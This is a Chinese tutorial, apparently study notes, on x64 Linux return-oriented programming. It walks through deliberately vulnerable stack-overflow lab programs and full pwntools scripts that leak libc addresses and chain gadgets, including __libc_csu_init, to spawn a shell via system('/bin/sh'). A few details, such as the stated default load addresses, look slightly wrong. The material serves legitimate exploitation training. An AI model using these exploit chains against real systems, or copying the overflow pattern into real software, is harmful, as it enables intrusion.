一步一步学ROP之linux_x64篇
关于PIE的问题的解决
来自天枢战队的p4nda(跟大佬聊天好激动)指导
aslr是动态库 堆栈的随机化 pie是全部程序加载地址的随机化 二者不太一样 开启sudo -s echo 2 > /proc/sys/kernel/randomize_va_space这个开的是aslr。
gcc编译的是pie 默认是关闭的 不开启时程序会加载到固定的地址；32位程序默认加载到0x8040000；64位是0x40000。
程序是动态加载的，用ELF.symbols[]并不是真实地址
对于下面payload
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
plt_write那里也是一个偏移量不能执行。
如何绕过？
还是泄露 ，和泄露libc一样，相当于程序加载地址换了，但是偏移还是一样的；没有什么是固定的，但是就是只要泄露一个程序地址就可以了。
linux_64与linux_86的区别
linux_64与linux_86的区别主要有两点：首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff，否则会抛出异常。其次是函数参数的传递方式发生了改变，x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中，如果还有更多的参数的话才会保存在栈上。
例子：
源代码：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void callsystem()
{
system("/bin/sh");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
编译命令：$ gcc -fno-stack-protector level3.c -o level3
丢一个150的pattern进去跑，报错会在vulnerable_function函数里面
pwndbg> r
Starting program: /home/zoe/Desktop/ROP_X64/level3
Hello, World
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005ec in vulnerable_function ()
PC指针并没有指向类似于0x41414141那样地址，而是停在了vulnerable_function()函数中。这是为什么呢？原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff，否则会抛出异常。也就是说它不能跳转到那个地址上，我们依然可以通过查看栈顶指针来计算出溢出点。因为ret相当于“pop rip”指令，所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。
pwndbg> x/gx $rsp
0x7fffffffdea8: 0x3765413665413565
其次计算pattern距离：
zoe@ubuntu:~/Desktop/ROP_X64$ python pattern.py offset 0x3765413665413565
hex pattern decoded as: e5Ae6Ae7
136
计算得到距离为136，接下来就是构造payload进而精确覆盖返回地址到callsystem就可以了，在这之前我们可以先用python -c 'print "A"*136+"ABCDEF\x00\x00"'来验证一下偏移是否为136
zoe@ubuntu:~/Desktop/ROP_X64$ python -c 'print "A"*136+"ABCDEF\x00\x00"' > payload
pwndbg> run < payload
Starting program: /home/zoe/Desktop/ROP_X64/level3 < payload
Hello, World
Program received signal SIGSEGV, Segmentation fault.
0x0000464544434241 in ?? ()
从0x0000464544434241就可以知道可以精确控制PC指针到任意地址。 用objdump -S就可以找到callsystem地址0x00000000004005bd
00000000004005bd <callsystem>:
4005bd: 55 push %rbp
4005be: 48 89 e5 mov %rsp,%rbp
4005c1: bf a4 06 40 00 mov $0x4006a4,%edi
4005c6: e8 c5 fe ff ff callq 400490 <system@plt>
4005cb: 5d pop %rbp
4005cc: c3 retq
详细脚本如下：
#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF('level3')
p = process('./level3')
#p = remote('127.0.0.1',10001)
callsystem = 0x00000000004005bd
payload = "A"*136 + p64(callsystem)
p.send(payload)
p.interactive()
使用工具寻找gadgets
- objdump -d level4
- ROPgadget –binary level4 –only “pop|ret”
我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里，如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret的这种gadget。如果是简单的gadgets，我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候，还是借助于一些查找gadgets的工具比较方便。比较有名的工具有：
ROPEME: https://github.com/packz/ropeme Ropper: https://github.com/sashs/Ropper ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master rp++: https://github.com/0vercl0k/rp
下面结合例子来讲解： 源代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}
编译命令：gcc -fno-stack-protector level4.c -o level4 -ldl
其中-ldl 指示连接器连接一个库。这个库里包含了 dlopen, dlsym 等等的函数。也就是说，是支持“在运行时，显示加载使用动态连接库”的函数库。相关的头文件是 dlfcn.h
首先目标程序会打印system()在内存中的地址，这样的话就不需要我们考虑ASLR的问题了，只需要想办法触发buffer overflow然后利用ROP执行system(“/bin/sh”)。但为了调用system(“/bin/sh”)，我们需要找到一个gadget将rdi的值指向“/bin/sh”的地址。于是我们使用ROPGadget搜索一下level4中所有pop ret的gadgets。
直接用命令ROPgadget --binary level4 --only "pop|ret"
zoe@ubuntu:~/Desktop/ROP_X64$ ROPgadget --binary level4 --only "pop|ret"
Gadgets information
============================================================
0x00000000004008ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008b0 : pop r14 ; pop r15 ; ret
0x00000000004008b2 : pop r15 ; ret
0x00000000004008ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008af : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006f5 : pop rbp ; ret
0x00000000004008b3 : pop rdi ; ret
0x00000000004008b1 : pop rsi ; pop r15 ; ret
0x00000000004008ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400619 : ret
0x0000000000400672 : ret 0x2009
0x0000000000400725 : ret 0xc148
想得到libc库：ldd level4
然后复制到自己目录下就ok
可以看到0x00000000004008b3 就是我们要找的gadget
构造的payload是这样的：
payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
解析：填充136个字节到返回地址，返回到那个gadget去执行，这个gadget是把栈上的内容pop出栈放到rdi这个寄存器上，其次后面给的是把binsh_addr来作为参数放到rdi上，system_addr则作为gadget的返回地址，执行完pop rdi；ret，就会ret到system_addr去执行system函数，就会直接利用x64的第一个参数即rdi，最后成功执行system函数。
附加详细说明一下原理： send这个payload是会写到内存里面的，栈也是放到内存里面的。栈是向下生长的（从高地址向低地址生长，高地址是栈底，低地址是栈顶），但是内存是向上生长的（从低地址到高地址）。这个payload把”\x00”*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)依次从低地址到高地址写到内存上，当eip执行到pr地址上的时候再pop这个栈顶数据也就是”/bin/sh”的数据到rdi上，然后跳到system去执行即可。
法一：
#!/usr/bin/env python
# coding=utf-8
from pwn import *
libc = ELF('libc.so.6')
p = process('./level4')
#p = remote('127.0.0.1',10001)
binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
print "binsh_addr_offset = " + hex(binsh_addr_offset)
pop_ret_addr = 0x00000000004008b3
print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)
binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr)
p.recv()
payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
print "\n##########sending payload##########\n"
p.send(payload)
p.interactive()
法二的原理：其实我们只需调用一次system()函数就可以获取shell，因为我们已经可以得到system地址和”/bin/sh”的地址，所以我们也可以搜索不带ret的gadgets来构造ROP链。 用下面命令去搜索有call的gadget。
ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi
结果如下：
zoe@ubuntu:~/Desktop/ROP_X64$ ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi
0x0000000000187b43 : call qword ptr [rdi - 0x5c2c0000]
0x000000000004dee8 : call qword ptr [rdi]
0x0000000000023970 : call rdi
0x00000000000fa379 : pop rax ; pop rdi ; call rax
0x00000000000fa37a : pop rdi ; call rax
通过搜索结果我们发现，0x00000000000fa379 : pop rax ; pop rdi ; call rax也可以完成我们的目标。首先将rax赋值为system()的地址，rdi赋值为“/bin/sh”的地址，最后再调用call rax即可
构造payload（原理跟上面的其实是一样的）：
payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
法二的原理图：
法二脚本：
#!/usr/bin/env python
# coding=utf-8
from pwn import *
libc = ELF('libc.so.6')
p = process('./level4')
#p = remote('127.0.0.1',10001)
print "\n##########init##########\n"
binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
print "binsh_addr_offset = " + hex(binsh_addr_offset)
pop_pop_call_offset = 0x00000000000fa379 - libc.symbols['system']
print "pop_pop_call_offset = " + hex(pop_pop_call_offset)
print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)
binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr)
pop_pop_call_addr = system_addr + pop_pop_call_offset
print "pop_pop_call_addr = " + hex(pop_pop_call_addr)
p.recv()
payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
print "\n##########sending payload##########\n"
p.send(payload)
p.interactive()
由上面两个方法我们可以知道，找到不同的gadget会有不一样的方法，理解其原理，灵活运用即可。
通用gadgets(ret2__libc_csu_init示例)
因为程序在编译过程中会加入一些通用函数用来进行初始化操作（比如加载libc.so的初始化函数），所以虽然很多程序的源码不同，但是初始化的过程是相同的，因此针对这些初始化函数，我们可以提取一些通用的gadgets加以使用，从而达到我们想要达到的效果。
为了方便大家学习x64下的ROP，level3和level4的程序都留了一些辅助函数在程序中，这次我们将这些辅助函数去掉再来挑战一下。目标程序level5.c如下：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
编译命令：gcc -fno-stack-protector level5.c -o level5
但是有一个问题就是每次编译出来的跟题目给的文件不太一样，比如用ROPgadget寻找pop ret的时候找到的gadget数量也是不一样的。如下图：
可以看到这个程序仅仅只有一个buffer overflow，也没有任何的辅助函数可以使用，所以我们要先想办法泄露内存信息，找到system()的值，然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数，我们可以通过write()去输出write.got的地址，从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递，因为x64下前6个参数不是保存在栈中，而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢？其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说，只要程序调用了libc.so，程序都会有这个函数用来对libc进行初始化操作。
00000000004005a0 <__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp)
4005a5: 4c 89 64 24 e0 mov %r12,-0x20(%rsp)
4005aa: 48 8d 2d 73 08 20 00 lea 0x200873(%rip),%rbp # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea 0x20086c(%rip),%r12 # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp)
4005bd: 4c 89 74 24 f0 mov %r14,-0x10(%rsp)
4005c2: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp)
4005c7: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp)
4005cc: 48 83 ec 38 sub $0x38,%rsp
4005d0: 4c 29 e5 sub %r12,%rbp
4005d3: 41 89 fd mov %edi,%r13d
4005d6: 49 89 f6 mov %rsi,%r14
4005d9: 48 c1 fd 03 sar $0x3,%rbp
4005dd: 49 89 d7 mov %rdx,%r15
4005e0: e8 1b fe ff ff callq 400400 <_init>
4005e5: 48 85 ed test %rbp,%rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor %ebx,%ebx
4005ec: 0f 1f 40 00 nopl 0x0(%rax)
4005f0: 4c 89 fa mov %r15,%rdx
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
4005fd: 48 83 c3 01 add $0x1,%rbx
400601: 48 39 eb cmp %rbp,%rbx
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq
400629: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
这个函数的汇编之后的跟我用gcc编译的还是有一点不一样的地方。 注：其实只是表示形式不一样，实质含义都是一样的。 比如下面两种表示形式：
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq
和下面这种表示形式
400626: 48 83 c4 08 add $0x8,%rsp
40062a: 5b pop %rbx
40062b: 5d pop %rbp
40062c: 41 5c pop %r12
40062e: 41 5d pop %r13
400630: 41 5e pop %r14
400632: 41 5f pop %r15
400634: c3 retq
上面两段表示的含义都是把栈上第二个参数开始一次pop给rbx、rbp、r12等。
这个题目要讲明白的是一个通用的gadget，这里主要是因为__libc_csu_init()这个函数，一般来说，只要程序调用了libc.so，程序都会有这个函数用来对libc进行初始化操作。
而在这个函数里面有两段函数我们可以利用的。0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值，随后利用0x4005f0处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi，随后就会调用call qword ptr [r12+rbx8]。这时候我们只要再将rbx的值赋值为0，然后他在后面会自加1，就可以cmp比较rbp和rbx的值，如果相等就会继续向下执行(计算一个填充值(78=56bits))并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等，我们可以将rbp的值设置为1，因为之前已经将rbx的值设置为0了。
先构造payload1泄露write_got的值计算system的地址；利用write()输出write的内存地址，因为是call [r12]；所以我们要给他的是write_got的地址而不是plt的地址。
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
当我们exp在收到write()在内存中的地址后，就可以计算出system()在内存中的地址了。接着我们构造payload2，利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
最后我们构造payload3,调用system()函数执行“/bin/sh”。注意，system()的地址保存在了.bss段首地址上，“/bin/sh”的地址保存在了.bss段首地址+8字节上。
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
最后构造exp：
from pwn import *
elf = ELF('level5')
libc = ELF('libc.so.6')
p = process('./level5')
#p = remote('127.0.0.1',10001)
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x400564
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8)
payload1 += p64(0x4005F0)
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601028
p.recvuntil("Hello, World\n")
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16)
payload2 += p64(0x4005F0)
payload2 += "\x00"*56
payload2 += p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)
payload3 += p64(0x4005F0)
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()
自己用命令编译程序的的脚本：
from pwn import *
elf = ELF('level5')
libc = ELF('libc.so.6')
p = process('./level5')
#p = remote('127.0.0.1',10001)
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x40059d
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
payload1 = "\x00"*136
payload1 += p64(0x400626) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write) + p64(1)
payload1 += p64(0x400610)
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601048
p.recvuntil("Hello, World\n")
payload2 = "\x00"*136
payload2 += p64(0x400626) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0)
payload2 += p64(0x400610)
payload2 += "\x00"*56
payload2 += p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
payload3 = "\x00"*136
payload3 += p64(0x400626) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8)
payload3 += p64(0x400610)
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()
总结
-
理解了
__libc_csu_init通用gadget的使用和其原理，感觉对ROP有了更好的理解 -
在寻找gadget的时候，这些函数都可以利用 +_init +_start +call_gmon_start +deregister_tm_clones +register_tm_clones +__do_global_dtors_aux +frame_dummy +__libc_csu_init +__libc_csu_fini +_fini
